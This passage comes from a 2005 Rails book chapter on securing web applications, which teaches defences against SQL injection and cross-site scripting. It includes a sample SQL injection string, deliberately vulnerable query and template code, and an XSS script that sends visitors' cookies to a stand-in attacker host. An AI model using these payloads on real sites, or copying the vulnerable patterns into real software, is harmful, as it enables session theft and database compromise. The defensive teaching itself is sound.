Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Agile Web Development With Rails, 1st Edition (2005).pdf
Скачиваний:
28
Добавлен:
17.08.2013
Размер:
7.99 Mб
Скачать

This chapter is an adaptation of Andreas Schwarz’s online manual on Rails security,

available at http://manuals.rubyonrails.com/read/book/8.

Chapter 21

Securing Your Rails Application

Applications on the web are under constant attack. Rails applications are not exempt from this onslaught.

Security is a big topic—the subject of whole books. We can’t do it justice in just one chapter. You’ll probably want to do some research before you put your applications on the scary, mean ’net. A good place to start reading about security is the Open Web Application Security Project (OWASP) at http://www.owasp.org/, a group of volunteers who put together “free, professional-quality, open-source documentation, tools, and standards” related to security. Be sure to check out their top 10 list of security issues in web applications. If you follow a few basic guidelines, your Rails application can be made a lot more secure.

21.1 SQL Injection

SQL injection is the number one security problem in many web applications. So, what is SQL injection, and how does it work?

Let’s say a web application takes strings from unreliable sources (such as the data from web form fields) and uses these strings directly in SQL statements. If the application doesn’t correctly quote any SQL metacharacters (such as backslashes or single quotes), an attacker can take control of the SQL executed on your server, making it return sensitive data, create records with invalid data, or even execute arbitrary SQL statements.

Imagine a web mail system with a search capability. The user could enter a string on a form, and the application would list all the e-mails with that string as a subject. Inside our application’s model there might be a query that looks like the following.

Prepared exclusively for Rida Al Barazi

SQL INJECTION 428

Email.find(:all,

:conditions => "owner_id = 123 AND subject = '#{params[:subject]}'")

This is dangerous. Imagine a malicious user manually sending the string "’ OR 1 --’" as the name parameter. After Rails substituted this into the SQL it generates for the find( ) method, the resulting statement will look like this.1

select * from emails where owner_id = 123 AND subject = '' OR 1 --''

The OR 1 condition is always true. The two minus signs start an SQL comment; everything after them will be ignored. Our malicious user will get a list of all the e-mails in the database.2

Protecting against SQL Injection

If you use only the predefined ActiveRecord functions (such as attributes( ), save( ), and find( )), and if you don’t add your own conditions, limits, and SQL when invoking these methods, Active Record takes care of quoting any dangerous characters in the data for you. For example, the following call is safe from SQL injection attacks.

order = Order.find(params[:id])

Even though the id value comes from the incoming request, the find( ) method takes care of quoting metacharacters. The worst a malicious user could do is to raise a Not Found exception.

But if your calls do include conditions, limits, or SQL, and if any of the data in these comes from an external source (even indirectly), you have to make sure that this external data does not contain any SQL metacharacters. Some potentially insecure queries include

Email.find(:all,

:conditions => "owner_id = 123 AND subject = '#{params[:subject]}'")

Users.find(:all,

:conditions => "name like '%#{session[:user].name}%'")

Orders.find(:all,

:conditions => "qty > 5",

:limit => #{params[:page_size]})

The correct way to defend against these SQL injection attacks is never to substitute anything into an SQL statement using the conventional Ruby #{...} mechanism. Instead, use the Rails bind variable facility. For example, you’d want to rewrite the web mail search query as follows.

1The actual attacks used depend on the database on the server. These examples are based on MySQL.

2Of course, the owner id would have been inserted dynamically in a real application; this

was omitted to keep the example simple.

Prepared exclusively for Rida Al Barazi

Report erratum

SQL INJECTION 429

subject = params[:subject] Email.find(:all,

:conditions => [ "owner_id = 123 AND subject = ?", subject ])

If the argument to find( ) is an array instead of a string, Active Record will insert the values of the second, third, and fourth (and so on) elements for each of the ? placeholders in the first element. It will add quotation marks if the elements are strings and quote all characters that have a special meaning for the database adapter used by the Email model.

Rather than using question marks and an array of values, you can also use named bind values and pass in a hash. We talk about both forms of placeholder starting on page 204.

Extracting Queries into Model Methods

If you need to execute a query with similar options in several places in your code, you should create a method in the model class that encapsulates that query. For example, a common query in your application might be

emails = Email.find(:all,

:conditions => ["owner_id = ? and read='NO'", owner.id])

It might be better to encapsulate this query instead in a class method in the Email model.

class Email < ActiveRecord::Base

def self.find_unread_for_owner(owner)

find(:all, :conditions => ["owner_id = ? and read='NO'", owner.id])

end

# ...

end

In the rest of your application, you can call this method whenever you need to find any unread e-mail.

emails = Email.find_unread_for_owner(owner)

If you code this way, you don’t have to worry about metacharacters—all the security concerns are encapsulated down at a lower level within the model. You should ensure that this kind of model method cannot break anything, even if it is called with untrusted arguments.

Also remember that Rails automatically generates finder methods for you for all attributes in a model, and these finders are secure from SQL injection attacks. If you wanted to search for e-mails with a given owner and subject, you could simply use the Rails autogenerated method.

list = Email.find_all_by_owner_id_and_subject(owner.id, subject)

Prepared exclusively for Rida Al Barazi

Report erratum

CROSS-SITE SCRIPTING (CSS/XSS) 430

21.2 Cross-Site Scripting (CSS/XSS)

Many web applications use session cookies to track the requests of a user. The cookie is used to identify the request and connect it to the session data (session in Rails). Often this session data contains a reference to the user that is currently logged in.

Cross-site scripting is a technique for “stealing” the cookie from another visitor of the website, and thus potentially stealing that person’s login.

The cookie protocol has a small amount of in-built security; browsers send cookies only to the domain where they were originally created. But this security can be bypassed. The easiest way to get access to someone else’s cookie is to place a specially crafted piece of JavaScript code on the web site; the script can read the cookie of a visitor and send it to the attacker (for example, by transmitting the data as a URL parameter to another web site).

A Typical Attack

Any site that displays data that came from outside the application is vulnerable to XSS attack unless the application takes care to filter that data. Sometimes the path taken by the attack is complex and subtle. For example, consider a shopping application that allows users to leave comments for the site administrators. A form on the site captures this comment text, and the text is stored in a database.

Some time later the site’s administrator views all these comments. Later that day, an attacker gains administrator access to the application and steals all the credit card numbers.

How did this attack work? It started with the form that captured the user comment. The attacker constructed a short snippet of JavaScript and entered it as a comment.

<script>

document.location='http://happyhacker.site/capture/' + document.cookie

</script>

When executed, this script will contact the host at happyhacker.site, invoke the capture.cgi application there, and pass to it the cookie associated with the current host. Now, if this script is executed on a regular web page, there’s no security breach, as it captures only the cookie associated with the host that served that page, and the host had access to that cookie anyway.

Prepared exclusively for Rida Al Barazi

Report erratum

CROSS-SITE SCRIPTING (CSS/XSS) 431

But by planting the cookie in a comment form, the attacker has entered a time bomb into our system. When the store administrator asks the application to display the comments received from customers, the application might execute a Rails template that looks something like this.

<div class="comment"> <%= order.comment %>

</div>

The attacker’s JavaScript is inserted into the page viewed by the administrator. When this page is displayed, the browser executes the script and the document cookie is sent off to the attacker’s site. This time, however, the cookie that is sent is the one associated with our own application (because it was our application that sent the page to the browser). The attacker now has the information from the cookie and can use it to masquerade as the store administrator.

Protecting Your Application from XSS

Cross-site scripting attacks work when the attacker can insert their own JavaScript into pages that are displayed with an associated session cookie. Fortunately, these attacks are easy to prevent—never allow anything that comes in from the outside to be displayed directly on a page that you generate.3 Always convert HTML metacharacters (< and >) to the equivalent HTML entities (< and >) in every string that is rendered in the web site. This will ensure that, no matter what kind of text an attacker enters in a form or attaches to an URL, the browser will always render it as plain text and never interpret any HTML tags. This is a good idea anyway, as a user can easily mess up your layout by leaving tags open. Be careful if you use a markup language such as Textile or Markdown, as they allow the user to add HTML fragments to your pages.

Rails provides the helper method h(string) (an alias for html_escape( )) that performs exactly this escaping in Rails views. The person coding the comment viewer in the vulnerable store application could have eliminated the issue by coding the form using

<div class="comment"> <%= h(order.comment) %>

</div>

3This stuff that comes in from the outside can arrive in the data associated with a POST request (for example, from a form). But it can also arrive as parameters in a GET. For example, if you allow your users to pass you parameters that add text to the pages you display, they could add <script> tags to these.

Prepared exclusively for Rida Al Barazi

Report erratum

CROSS-SITE SCRIPTING (CSS/XSS) 432

Joe Asks. . .

Why Not Just Strip <script> Tags?

If the problem is that people can inject <script> tags into content we display, you might think that the simplest solution would be some code that just scanned for and removed these tags?

Unfortunately, that won’t work. Browsers will now execute JavaScript in a surprisingly large number of contexts (for example, when onclick= handlers are invoked or in the src= attribute of <img> tags). And the problem isn’t just limited to JavaScript—allowing people to include off-site links in content could allow them to use your site for nefarious purposes. You could try to detect all these cases, but the HTML-escaping approach is safer and is less likely to break as HTML evolves.

Get accustomed to using h( ) for any variable that is rendered in the view, even if you think you can trust it to be from a reliable source. And when you’re reading other people’s source, be vigilant about the use of the h( ) method—folks tend not to use parentheses with h( ), and it’s often hard to spot.

Sometimes you need to substitute strings containing HTML into a template. In these circumstances the sanitize( ) method removes many potentially dangerous constructs. However, you’d be advised to review whether sanitize( ) gives you the full protection you need: new HTML threats seem to arise every week.

XSS Attacks Using an Echo Service

The echo service is a service running on TCP port 7 that returns back everything you send to it. On Debian, it is active by default. This is a security problem.

Imagine the server that runs the web site target.domain is also running an echo service. The attacker creates a form such as the following on his own web site.

<form action="http://target.domain:7/" method="post">

<input type="hidden" name="code" value="some_javascript_code_here" /> <input type="submit" />

</form>

Prepared exclusively for Rida Al Barazi

Report erratum